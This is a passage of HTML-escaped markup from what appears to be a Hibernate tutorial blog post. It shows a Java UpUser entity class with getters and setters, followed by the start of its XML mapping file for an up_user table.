&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private String userScreenName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private String userPassword;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Constructors&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /** default constructor */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public UpUser() {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /** minimal constructor */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public UpUser(String
  userScreenName,String userPassword) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.userScreenName =
  userScreenName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.userPassword = userPassword;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Property accessors&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public Integer getUserId() {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return this.userId;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void setUserId(Integer userId) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.userId = userId;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public String getUserScreenName() {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return this.userScreenName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void setUserScreenName(String
  userScreenName) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.userScreenName =
  userScreenName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public String getUserPassword() {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return this.userPassword;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void setUserPassword(String
  userPassword) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.userPassword = userPassword;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;font-size: 6.0pt; mso-bidi-font-size: 11.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Hibernate mapping file that we need to keep in the same folder where our hibernate entity will be.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;xml&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;version&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;1.0&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;encoding&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;!&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;DOCTYPE&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: teal;&quot;&gt;hibernate-mapping&lt;/span&gt;
  &lt;span style=&quot;color: grey;&quot;&gt;PUBLIC&lt;/span&gt; &lt;span style=&quot;color: teal;&quot;&gt;&quot;-//Hibernate/Hibernate
  Mapping DTD 3.0//EN&quot;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #3f7f5f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd&quot;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #3f5fbf; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;!-- &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #3f5fbf; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Mapping file &lt;u&gt;autogenerated&lt;/u&gt; by
  MyEclipse Persistence Tools&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #3f5fbf; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;--&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;hibernate-mapping&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;com.test.lab.model.UpUser&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;table&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;up_user&quot;&lt;/span&gt;&lt;/i&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;catalog&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;test_db&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;userId&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;type&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;java.lang.Integer&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;column&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;generator&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;class&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;identity&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;userScreenName&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;type&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;java.lang.String&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
